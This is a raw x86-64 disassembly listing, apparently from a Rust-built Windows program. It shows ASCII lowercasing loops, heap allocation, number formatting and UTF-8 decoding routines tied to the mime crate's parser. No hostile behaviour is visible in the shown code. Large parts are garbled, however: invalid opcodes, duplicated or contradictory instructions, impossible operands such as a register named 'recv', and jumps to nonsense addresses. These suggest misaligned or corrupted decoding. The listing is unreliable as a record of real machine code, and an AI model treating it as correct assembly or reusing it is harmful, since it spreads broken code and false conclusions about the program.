movdqa xmm5, xmm6
pminub xmm5, xmm1
pcmpeqb xmm5, xmm6
pand xmm5, xmm2
por xmm7, xmm3
por xmm5, xmm4
movdqu xmmword [r15 + rcx], xmm7
movdqu xmmword [r15 + rcx + 0x10], xmm5
add rcx, 0x20
cmp r14, rcx
jne 0x14009afb6
mov rcx, r10
cmp r10, r14
jne 0x14009b021
mov r10, rcx
jmp 0x14009b0bf
test cl, 0x18
je 0x14009b087
mov rdx, r10
and rdx, 0xfffffffffffffff8
lea rcx, [rdx + rbp]
movdqa xmm0, xmmword [0x140168b20]
movdqa xmm1, xmmword [0x140168b30]
movdqa xmm2, xmmword [0x140168b40]
movq xmm3, qword [r15 + r14]
movdqa xmm4, xmm3
paddb xmm4, xmm0
movdqa xmm5, xmm4
pmaxub xmm5, xmm1
pcmpeqb xmm5, xmm4
pandn xmm5, xmm2
por xmm5, xmm3
movq qword [r15 + r14], xmm5
add r14, 8
cmp rdx, r14
jne 0x14009b049
mov r14, r10
cmp r10, rdx
jne 0x14009b090
mov r10, r14
jmp 0x14009b0bf
add r14, rbp
mov rcx, r14
mov r14, r10
mov r10, r14
add rbp, r14
nop word cs:[rax + rax]
movzx eax, byte [rcx]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
mov byte [rcx], dl
lea rax, [rcx + 1]
mov rcx, rax
cmp rax, rbp
jne 0x14009b0a0
mov r14d, r9d
shr r14d, 8
mov rbp, r9
shr rbp, 0x10
mov rax, r11
mov r11, qword [rsp + 0x78]
jmp 0x14009acf3
mov r14, r10
test r10, r10
je 0x14009b1be
js 0x14009b841
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14009b118
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14009b848
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14009b848
mov rbp, rax
mov r15, rax
mov rcx, rbp
mov rdx, r13
mov r13, r14
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbp
cmp r14, 8
jb 0x14009b7f9
cmp r14, 0x20
jae 0x14009b1ed
xor eax, eax
jmp 0x14009b27c
mov r15d, 1
mov rcx, r15
mov rdx, r13
mov r8, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x28], 0
je 0x14009b41c
mov rax, qword [rsp + 0x28]
cmp rax, qword [rsp + 0x40]
jae 0x14009b1c9
mov rax, qword [rsp + 0x28]
cmp byte [r15 + rax], 0xbf
jg 0x14009b1cb
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rsp + 0x40]
xor r8d, r8d
mov r9, qword [rsp + 0x28]
call fcn.140161400
ud2
mov r15d, 1
jmp 0x14009b81b
jne 0x14009b19b
mov rcx, r15
cmp qword [rsp + 0x28], 8
jb 0x14009b3ef
cmp qword [rsp + 0x28], 0x20
jae 0x14009b2de
xor eax, eax
jmp 0x14009b379
mov rax, r14
and rax, 0xffffffffffffffe0
xor ecx, ecx
movdqa xmm0, xmmword [0x140168b10]
movdqa xmm1, xmmword [0x140168760]
movdqa xmm2, xmmword [0x140168770]
movdqu xmm3, xmmword [r15 + rcx]
movdqu xmm4, xmmword [r15 + rcx + 0x10]
movdqa xmm5, xmm3
paddb xmm5, xmm0
movdqa xmm6, xmm4
paddb xmm6, xmm0
movdqa xmm7, xmm5
pminub xmm7, xmm1
pcmpeqb xmm7, xmm5
pand xmm7, xmm2
movdqa xmm5, xmm6
pminub xmm5, xmm1
pcmpeqb xmm5, xmm6
pand xmm5, xmm2
por xmm7, xmm3
por xmm5, xmm4
movdqu xmmword [r15 + rcx], xmm7
movdqu xmmword [r15 + rcx + 0x10], xmm5
add rcx, 0x20
cmp rax, rcx
jne 0x14009b20e
cmp rax, r14
je 0x14009b81b
test r14b, 0x18
je 0x14009b7f3
mov rdx, r14
and rdx, 0xfffffffffffffff8
lea rcx, [rdx + rbp]
movdqa xmm0, xmmword [0x140168b20]
movdqa xmm1, xmmword [0x140168b30]
movdqa xmm2, xmmword [0x140168b40]
movq xmm3, qword [r15 + rax]
movdqa xmm4, xmm3
paddb xmm4, xmm0
movdqa xmm5, xmm4
pmaxub xmm5, xmm1
pcmpeqb xmm5, xmm4
pandn xmm5, xmm2
por xmm5, xmm3
movq qword [r15 + rax], xmm5
add rax, 8
cmp rdx, rax
jne 0x14009b29f
cmp rdx, r14
jne 0x14009b7f9
jmp 0x14009b81b
mov rcx, qword [rsp + 0x60]
and ecx, 0x1f
mov rax, qword [rsp + 0x28]
sub rax, rcx
xor edx, edx
movdqa xmm0, xmmword [0x140168b10]
movdqa xmm1, xmmword [0x140168760]
movdqa xmm2, xmmword [0x140168770]
movdqu xmm3, xmmword [r15 + rdx]
movdqu xmm4, xmmword [r15 + rdx + 0x10]
movdqa xmm5, xmm3
paddb xmm5, xmm0
movdqa xmm6, xmm4
paddb xmm6, xmm0
movdqa xmm7, xmm5
pminub xmm7, xmm1
pcmpeqb xmm7, xmm5
pand xmm7, xmm2
movdqa xmm5, xmm6
pminub xmm5, xmm1
pcmpeqb xmm5, xmm6
pand xmm5, xmm2
por xmm7, xmm3
por xmm5, xmm4
movdqu xmmword [r15 + rdx], xmm7
movdqu xmmword [r15 + rdx + 0x10], xmm5
add rdx, 0x20
cmp rax, rdx
jne 0x14009b308
test rcx, rcx
je 0x14009b41c
cmp ecx, 8
jae 0x14009b379
add rax, r15
mov rcx, rax
jmp 0x14009b3ef
mov r9, qword [rsp + 0x60]
mov edx, r9d
and edx, 7
mov rcx, qword [rsp + 0x28]
sub rcx, rdx
add rcx, r15
lea r8, [r15 + rax]
add rbp, r14
add rbp, r9
sub rbp, rax
sub rbp, rdx
xor eax, eax
movdqa xmm0, xmmword [0x140168b20]
movdqa xmm1, xmmword [0x140168b30]
movdqa xmm2, xmmword [0x140168b40]
movq xmm3, qword [r8 + rax]
movdqa xmm4, xmm3
paddb xmm4, xmm0
movdqa xmm5, xmm4
pmaxub xmm5, xmm1
pcmpeqb xmm5, xmm4
pandn xmm5, xmm2
por xmm5, xmm3
movq qword [r8 + rax], xmm5
add rax, 8
cmp rbp, rax
jne 0x14009b3b9
test rdx, rdx
je 0x14009b41c
mov rax, qword [rsp + 0x28]
add rax, r15
movzx edx, byte [rcx]
lea r8d, [rdx - 0x41]
mov edi, 0x1af88041
setb r8b
shl r8b, 5
or r8b, dl
mov byte [rcx], r8b
add dword [rax - 0x73], ecx
push rcx
add dword [rax - 0x77], ecx
ror dword [rax + 0x39], 1
ret 0xdb75
cmp qword [rsp + 0x48], 0
je 0x14009b7e7
mov rax, qword [rsp + 0x48]
shl rax, 5
mov r11, qword [rsp + 0x50]
add rax, r11
lea rcx, [r15 + 0x10]
mov qword [rsp + 0x60], rcx
movdqa xmm0, xmmword [0x140168b20]
movdqa xmm1, xmmword [0x140168b30]
movdqa xmm2, xmmword [0x140168b40]
movdqa xmm3, xmmword [0x140168b10]
movdqa xmm4, xmmword [0x140168760]
movdqa xmm5, xmmword [0x140168770]
mov r10, qword [rsp + 0x40]
jmp 0x14009b486
add r11, 0x20
cmp r11, rax
je 0x14009b7e0
mov r8, qword [r11]
mov r9, qword [r11 + 8]
cmp r9, r8
jb 0x14009b857
test r8, r8
je 0x14009b4b2
cmp r8, r10
jae 0x14009b4ac
cmp byte [r15 + r8], 0xc0
jge 0x14009b4b2
jmp 0x14009b857
jne 0x14009b857
test r9, r9
je 0x14009b4ce
cmp r9, r10
jae 0x14009b4c8
cmp byte [r15 + r9], 0xbf
jg 0x14009b4ce
jmp 0x14009b857
jne 0x14009b857
lea rdx, [r15 + r8]
lea rbp, [r15 + r9]
cmovl ecx, dword [rcx - 0x3ed6b337]
je 0x14009b5f7
mov r14, rdx
cmp rcx, 8
stc
or byte [rdi], cl
invalid
loop 0x14009b4ed
add byte [rax], al
cmp rcx, 0x20
jae 0x14009b4fd
xor r13d, r13d
jmp 0x14009b583
mov r13, rcx
and r13, 0xffffffffffffffe0
mov r10, qword [rsp + 0x60]
lea r14, [r10 + r8]
xor r10d, r10d
movdqu xmm6, xmmword [r14 + r10 - 0x10]
movdqu xmm7, xmmword [r14 + r10]
movdqa xmm8, xmm6
paddb xmm8, xmm3
movdqa xmm9, xmm7
paddb xmm9, xmm3
movdqa xmm10, xmm8
pminub xmm10, xmm4
pcmpeqb xmm10, xmm8
pand xmm10, xmm5
movdqa xmm8, xmm9
pminub xmm8, xmm4
pcmpeqb xmm8, xmm9
pand xmm8, xmm5
pand mm0, mm5
por xmm10, xmm6
por xmm8, xmm7
movdqu xmmword [r14 + r10 - 0x10], xmm10
invalid
movdqu xmmword [r14 + r10], xmm8
add r10, 0x20
cmp r13, r10
jne 0x14009b510
cmp rcx, r13
je 0x14009b5f7
test cl, 0x18
je 0x14009b5cb
mov r10, rcx
and r10, 0xfffffffffffffff8
lea r14, [rdx + r10]
movq xmm6, qword [rdx + r13]
movdqa xmm7, xmm6
paddb xmm7, xmm0
movdqa xmm8, xmm7
pmaxub xmm8, xmm1
pcmpeqb xmm8, xmm7
pandn xmm8, xmm2
por xmm8, xmm6
movq qword [rdx + r13], xmm8
add r13, 8
cmp r10, r13
jne 0x14009b58e
cmp rcx, r10
jne 0x14009b5d1
jmp 0x14009b5f7
add r13, rdx
mov r14, r13
movzx r10d, byte [r14]
lea r13d, [r10 - 0x41]
cmp r13b, 0x1a
setb r13b
shl r13b, 5
or r13b, r10b
mov byte [r14], r13b
lea r10, [r14 + 1]
mov r14, r10
cmp r10, rbp
jne 0x14009b5d1
test r8, r8
mov r10, qword [rsp + 0x40]
je 0x14009b616
cmp r8, r10
jae 0x14009b610
cmp byte [rdx], 0xc0
jge 0x14009b616
jmp 0x14009b882
jne 0x14009b882
test r9, r9
je 0x14009b631
cmp r9, r10
jae 0x14009b62b
cmp byte [rbp], 0xbf
jg 0x14009b631
jmp 0x14009b882
jne 0x14009b882
cmp rcx, 7
jne 0x14009b479
mov ecx, dword [rdx]
mov r8d, 0x72616863
push 0x31447261
ror dword [rbx - 0x47befcae], 0x72
jae 0x14009b6b3
je 0x14009b694
xor edx, eax
or edx, ecx
jne 0x14009b479
invalid
invalid
invalid
mov r8, qword [r11 + 0x10]
mov r9, qword [r11 + 0x18]
sbb byte [r13 + 0x39], cl
ror dword [rdi], 0x82
add al, byte [r8]
invalid
test r8, r8
je 0x14009b687
cmp r8, r10
jae 0x14009b681
cmp byte [r15 + r8], 0xc0
jge 0x14009b687
jmp 0x14009b8ac
jne 0x14009b8ac
test r9, r9
je 0x14009b6a3
cmp r9, r10
jae 0x14009b69d
cmp byte [r15 + r9], 0xbf
jg 0x14009b6a3
jmp 0x14009b8ac
jne 0x14009b8ac
mov r14, r9
sub r14, r8
je 0x14009b479
lea r13, [r15 + r8]
cmp r14, 8
jae 0x14009b6c1
mov r8, r13
jmp 0x14009b7b7
cmp r14, 0x20
jae 0x14009b6ce
xor ecx, ecx
jmp 0x14009b759
mov rcx, r14
and rcx, 0xffffffffffffffe0
add r8, qword [rsp + 0x60]
xor edx, edx
movdqu xmm6, xmmword [r8 + rdx - 0x10]
movdqu xmm7, xmmword [r8 + rdx]
movdqa xmm8, xmm6
paddb xmm8, xmm3
movdqa xmm9, xmm7
paddb xmm9, xmm3
movdqa xmm10, xmm8
pminub xmm10, xmm4
pcmpeqb xmm10, xmm8
pand xmm10, xmm5
movdqa xmm8, xmm9
pminub xmm8, xmm4
pcmpeqb xmm8, xmm9
pand xmm8, xmm5
por xmm10, xmm6
por xmm8, xmm7
movdqu xmmword [r8 + rdx - 0x10], xmm10
movdqu xmmword [r8 + rdx], xmm8
add rdx, 0x20
cmp rcx, rdx
jne 0x14009b6dc
cmp r14, rcx
mov r10, qword [rsp + 0x40]
je 0x14009b479
test r14b, 0x18
je 0x14009b7ac
mov rdx, r14
and rdx, 0xfffffffffffffff8
lea r8, [rdx + r13]
movq xmm6, qword [r13 + rcx]
movdqa xmm7, xmm6
paddb xmm7, xmm0
movdqa xmm8, xmm7
pmaxub xmm8, xmm1
pcmpeqb xmm8, xmm7
pandn xmm8, xmm2
por xmm8, xmm6
movq qword [r13 + rcx], xmm8
add rcx, 8
cmp rdx, rcx
jne 0x14009b764
cmp r14, rdx
mov r10, qword [rsp + 0x40]
je 0x14009b479
jmp 0x14009b7b7
add r13, rcx
mov r8, r13
mov r10, qword [rsp + 0x40]
add r9, r15
movzx ecx, byte [r8]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r8], dl
lea rcx, [r8 + 1]
mov r8, rcx
cmp rcx, r9
jne 0x14009b7ba
jmp 0x14009b479
mov r8, qword [rsp + 0x58]
jmp 0x14009b823
mov r8, qword [rsp + 0x58]
mov r10, qword [rsp + 0x40]
jmp 0x14009b823
add rax, rbp
mov rcx, rax
add rbp, r14
movzx eax, byte [rcx]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
mov byte [rcx], dl
lea rax, [rcx + 1]
mov rcx, rax
cmp rax, rbp
jne 0x14009b7fc
mov r8, qword [rsp + 0x58]
mov r10, r14
mov r9, qword [rsp + 0x38]
mov r11, qword [rsp + 0x50]
jmp 0x14009b0bf
mov ecx, 1
mov rdx, rbp
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
mov ecx, 1
mov rdx, r14
call fcn.14015d7f0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
jmp 0x14009b8b3
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x40
call fcn.14015d7f0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
jmp 0x14009b8b3
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov r8, rcx
mov rcx, r13
mov rdx, r10
mov r9, qword [rsp + 0x48]
call fcn.140161400
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r10
call fcn.140161400
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srcparse.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov r8, qword [rsp + 0x30]
mov r9, r14
call fcn.140161400
ud2
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x134a02
mov qword [rsp + 0xe0], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0xe8], rcx
lea rcx, [0x1401d1868]
mov qword [rsp + 0xf0], rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], recv
mov qword [rsp + 0x20], recv
lea rdx, str.SockState
lea r9, [0x1401d1718]
mov r8d, 9
mov rcx, rax
call fcn.14005d3c0
nop
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, [0x1401d1100]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14009cfb7
mov bl, 1
test cl, cl
jne 0x14009cfb9
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14009cf79
cmp byte [rsp + 0x39], 0
je 0x14009cf79
test byte [rsi + 0x34], 4
jne 0x14009cf79
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
test al, al
invalid
jne 0x14009cfb9
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14009cfb9
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
add byte [rcx - 0x47], cl
pop r9
xchg byte [rax], bh
invalid
mov rax, rcx
mul r9
shr rdx, 0xb
imul eax, edx, 0x2710
add byte [rax], al
add byte [rax], al
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r11 + rbx*2]
mov word [rsp + rsi + 0x2c], bx
sub al, 0x41
movzx edi, word [rbx + rdi*2]
sub al, 0x41
movzx edi, word [rbx + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x14009d030
cmp rdx, 0x63
jbe 0x14009d0b3
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r9d, ecx, 0x64
sub edx, r9d
movzx edx, dx
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x14009d1b0
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x14009d1c4
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [rcx + rdx*2]
push rcx
mov word [rsp + rax + 0x2e], cx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea rcx, [rsp + rax]
add rcx, 0x30
mov r8d, 0x27
sub r8, rax
ror byte [rcx + rcx*4 + 0x44], 0x24
sub byte [rax - 0x77], cl
and al, 0x20
lea r8, [0x140204680]
mov rcx, r10
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0xb0
add byte [rbx + 0x5f], bl
pop rsi
ret
mov edi, edi
shl rdi, 0x18
mov eax, 3
jmp fcn.14009f8fa
push rax
add dword [rax], eax
add byte [rax + 0xa73c2f9], al
movzx edi, cl
xor eax, eax
jmp fcn.14009f8fa
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
cmp rax, rdx
je 0x14009f86f
lea r8, [rax + 1]
mov qword [rsi], r8
movzx r8d, byte [rax]
jmp 0x14009f86f
rol byte [rcx - 0x80], 0xe0
rol byte [rcx - 0x80], 0xf8
or byte [rdi], 0x85
popfq
add byte [rax], al
add byte [rbx - 0x183ef019], al
invalid
cmp rax, rdx
setne al
setne byte [rsi + 0x10]
mov byte [rsi + 0x11], r8b
test al, al
je 0x14009f8be
movzx eax, byte [rsi + 0x11]
movzx eax, al
mov edx, eax
and dl, 0xc0
cmp dl, 0x80
jne 0x14009f8b2
shl edi, 6
and eax, 0x3f
mov esi, 0x84021046
leave
mov byte [rsi + 0x10], 2
test cl, cl
je 0x14009f78e
mov byte [rsi + 0x18], 0
xor ecx, ecx
jmp 0x14009f8e6
invalid
sub al, 0xc6
adc byte [rax], r8b
mov qword [rsp + 0x2c], 2
movzx eax, byte [rsp + 0x33]
add byte [rdi], cl
mov dh, 0x44
and al, 0x33
shl eax, 0x10
movzx ecx, word [rsp + 0x31]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x2d]
or rax, rcx
mov ecx, 2
movabs rdi, 0xffffffffffffff
and rdi, rax
invalid
shl rax, 8
loopne 0x14009f8ff
invalid
loopne 0x14009f8ff
or rax, rcx
mov dh, 0xc0
cmp ecx, 0x360
jne 0x14009f924
mov byte [rsi + 0x19], 0
test al, 0x10
jne 0x14009f926
mov byte [rsi + 0x18], 1
xor edx, edx
cmp edi, 0x20
setb cl
or cl, dl
jmp 0x14009f7c3
je 0x14009f99e
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 2
and al, 0x30
add al, byte [rax]
add byte [rax], al
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
jmp 0x14009f9a7
mov qword [rsp + 0x30], 0
add byte [rax], al
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.140058090
fiadd dword [rsi - 0x7cb70005]
jl 0x14009f9de
add byte [rax - 0x75], cl
and al, 0x48
fiadd dword [rsi - 0x7cb70005]
jl 0x14009f9de
add byte [rax - 0x75], cl
and al, 0x48
je 0x14009f9de
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14009f9e5
test rcx, rcx
jne 0x14009f9ec
call fcn.1400138d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
call fcn.14015d7f0
ud2
int3
mov dh, 8
jmp 0x14009fa22
cmp rax, r8
setne al
setne byte [rcx + 0x10]
mov byte [rcx + 0x11], r9b
invalid
invalid
test al, al
je 0x14009fa62
movzx eax, byte [rcx + 0x11]
movzx eax, al
adc dword [r15], ecx
mov dh, 0xc0
mov r8d, eax
and r8b, 0xc0
cmp r8b, 0x80
jne 0x14009fa8b
mov r8d, dword [rdx]
shl r8d, 6
and eax, 0x3f
or eax, r8d
mov dword [rdx], eax
mov byte [rcx + 0x10], 2
mov ecx, 3
jmp 0x14009fa91
mov qword [rsp], 2
movzx eax, byte [rsp + 7]
shl eax, 0x10
movzx ecx, word [rsp + 5]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 1]
or rax, rcx
mov ecx, 2
jmp 0x14009fa91
mov byte [rcx + 0x18], 0
xor ecx, ecx
shl rax, 8
or rax, rcx
pop rcx
ret
ror byte [rbp - 0x77], cl
invalid
je 0x14009fb48
cmp byte [rcx + 1], cl
fmul dword [rax - 0x77]
and al, 0x20
invalid
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x30], 0
xor r14d, r14d
xor ebp, ebp
xor r12d, r12d
xor esp, esp
xor r13d, r13d
xor r15d, r15d
mov qword [rsp + 0x40], r8
dec dword [rcx + rcx*4 + 0x44]
and al, 0x40
jmp 0x14009fb7c
dec r15b
movzx ecx, r15b
add ecx, ecx
lea ecx, [rcx + rcx*2]
mov edi, r13d
shr edi, cl
and dil, 0x3f
or dil, 0x80
cmp r14, qword [rsp + 0x28]
je 0x14009fbe7
mov byte [rax + r14], dil
inc r14
mov qword [rsp + 0x30], r14
test r15b, r15b
jne 0x14009fb50
test r12w, r12w
je 0x14009fbbe
mov ecx, ebp
mov ebp, esi
lea edx, [rbp + 0x2000]
movzx edx, dx
cmp edx, 0xf800
add byte [rax], al
jae 0x14009fd01
movzx r13d, bp
cmp r13d, 0x80
jae 0x14009fd78
xor r12d, r12d
mov ebp, ecx
xor r15d, r15d
mov edi, r13d
jmp 0x14009fb69
test bp, bp
jne 0x14009fcea
cmp rbx, r8
je 0x14009fed4
movzx edx, byte [rbx]
movzx ebp, dl
test bpl, bpl
js case.0x14005f6a2.1650
inc rbx
jmp 0x14009fcea
mov rax, r8
sub rax, rbx
xor ecx, ecx
test bp, bp
setne cl
test r12w, r12w
jne 0x14009fbff
xor edx, edx
jmp 0x14009fc2e
lea edx, [rsi + 0x2000]
movzx r8d, dx
mov edx, 1
cmp r8d, 0xf800
jb 0x14009fc2e
lea rdx, [rcx + rax*2]
test rax, rax
setns r8b
test rdx, rdx
sete dl
and dl, r8b
movzx edx, dl
add rax, 3
mov r8, 0xffffffffffffffff
cmovb rax, r8
shr rax, 2
add rax, rcx
mov rcx, rax
shr rcx, 1
and eax, 1
movzx r8d, r15b
add r8, rax
add r8, rcx
add r8, rdx
inc r8
lea rcx, [rsp + 0x20]
mov rdx, r14
call fcn.14015cc80
mov rax, qword [rsp + 0x20]
and al, 0x20
mov r8, qword [rsp + 0x40]
jmp 0x14009fb70
invalid
in eax, 6
and edx, 0x3f
or edx, ebp
or edx, ecx
mov ebp, edx
cmp ebp, 0xffff
std
invalid
inc dword [rax]
add byte [rax], al
invalid
jbe 0x14009fcea
jmp 0x14009fe6a
std
invalid
xor ecx, ecx
lea edx, [rbp + 0x2000]
movzx edx, dx
cmp edx, 0xf800
jb 0x14009fba0
movzx r13d, bp
cmp r13d, 0xdbff
ja case.0x14005f6a2.1724
add byte [rax], al
invalid
test cx, cx
lea ecx, [rdx + 0x2000]
movzx ecx, cx
mov bh, 0xc9
mov al, byte [rax]
and byte [rax], al
add byte [rdi], cl
mov r12w, 1
cmp ecx, 0xfc00
add byte [rbx + 7], dh
mov ecx, r9d
and ebp, 0x3ff
and edx, 0x3ff
shl rbp, 0x1a
shl rdx, 0x10
add byte [rcx], al
add byte [rax], al
add edx, ecx
shr rdx, 0x10
mov ecx, r9d
mov r13, rdx
mov ebp, edx
cmp r13d, 0x80
jb 0x14009fbb1
invalid
invalid
invalid
add byte [rdi], cl
invalid
inc dword [rcx - 0x7f]
std
cmp r13d, 0x800
add byte [rax], al
jae 0x14009fd90
out dx, eax
shr edi, 6
iretd
cmp r13d, 0x10000
cmp r13d, 0x10000
add dword [rax], eax
jae 0x14009fdcc
in al, 0x44
mov edi, ebp
mov edi, r13d
or al, 0x40
or bh, 0xe0
invalid
mov r15b, 2
mov bh, 2
mov ebp, ecx
std
invalid
cmp ebx, eax
je case.0x140065142.1631
movzx r10d, byte [rbx]
movzx edx, r10b
js case.0x14005f6a2.1742
inc rbx
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
jmp 0x14009fd20
invalid
inc dword [rcx + rcx*4 - 0x11]
mov edi, r13d
adc al, byte [rax - 0x80]
iretd
mov bh, 3
xor r12d, r12d
mov ebp, ecx
int 0xe9
xchg ch, bh
invalid
invalid
int 0xe9
xchg ch, bh
xor ecx, ecx
xor r12d, r12d
invalid
mov rbx, r8
mov ebx, eax
jmp 0x14009fd9c
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
movzx ecx, byte [rbx + 1]
add qword [r9 - 0x7d], rax
and r9d, 0x3f
cmp dl, 0xdf
jbe case.0x140065142.1674
invalid
lahf
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movzx edx, byte [rbx + 2]
shl r9d, 6
invalid
add al, byte [rcx - 0x3f]
loope 0x14009fe12
invalid
and edx, 0x3f
loop 0x14009fe4e
or edx, r9d
cmp r10b, 0xf0
cmp dl, 0xf0
jb 0x14009feb7
invalid
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
invalid
invalid
movzx r9d, byte [rbx + 3]
add rcx, qword [r8 - 0x7d]
add rbx, 4
and ecx, 7
shl ecx, 0x12
loope case.0x140065142.1653
shl edx, 6
and r9d, 0x3f
and ecx, 0x3f
invalid
or r9d, edx
leave
mov edx, r9d
invalid
test dword [rax], eax
add byte [rax], al
add byte [rax], al
inc dword [rax]
jmp 0x140d37f5d
or al, byte [rcx + 0xd800c9]
add byte [rcx + 0x3ffe2], al
add byte [rcx + 0xdc00ca], al
add byte [rcx - 0x77], al
shr ecx, 1
invalid
mov ah, 0xfe
invalid
invalid
invalid
lea edx, [rbp + 0xff0000]
add bh, bh
add cl, al
shr edx, 0xa
or edx, 0xd800
and ebp, 0x3ff
or ebp, 0xdc00
mov ecx, ebp
mov ebp, edx
lea edx, [rbp + 0x2000]
add byte [rax], ah
add byte [rax], al
add byte [rax], ah
add byte [rax], al
movzx edx, dx
rol byte [rcx + 0xf800fa], cl
add byte [rdi], cl
invalid
invalid
add rbx, 2
shl ecx, 6
invalid
xor r9d, r9d
jmp 0x14009fd20
invalid
add rbx, 3
shl ecx, 0xc
loope 0x14009feca
or edx, ecx
cmp edx, 0xffff
cli
invalid
inc dword [rax]
add byte [rdi], cl
xchg dword [rbx - 1], edi
invalid
invalid
cli
xchg dword [rbx - 1], edi
invalid
xor r9d, r9d
xor ecx, ecx
jmp 0x14009fd20
dec dword [rax - 0x75]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
mov dword [rcx + 0x10], eax
movups xmm0, xmmword [rsp + 0x20]
and al, 0x20
movups xmmword [rcx], xmm0
add rsp, 0x48
add esp, 0x48
add esp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rsi
pop r15
ret
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
call fcn.14015d7f0
ud2
invalid
or ecx, esp
int3
int3
mov rsi, rdx
mov rsi, rdx
movzx eax, byte [rcx]
test rax, rax
add dword [rax - 0x7b], ecx
sal byte [rdx + rcx*2 - 0x7d], 0xf8
je 0x14009ff6b
cmp eax, 1
invalid
je 0x14009ff6b
cmp eax, 1
jne 0x1400a001d
test ebx, esi
add byte [rax], al
invalid
test ebx, esi
add byte [rax], al
add byte [rax - 0x7d], cl
add ecx, 4
mov qword [rsp + 0x40], rcx
add rcx, 4
add al, 0x48
mov dword [rsp + 0x40], ecx
and al, 0x40
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401d1c2c]
adc eax, 0x131cea
sub byte [rax - 0x73], r9b
adc eax, 0x131cea
sbb al, 0x13
add byte [rcx - 0x48], al
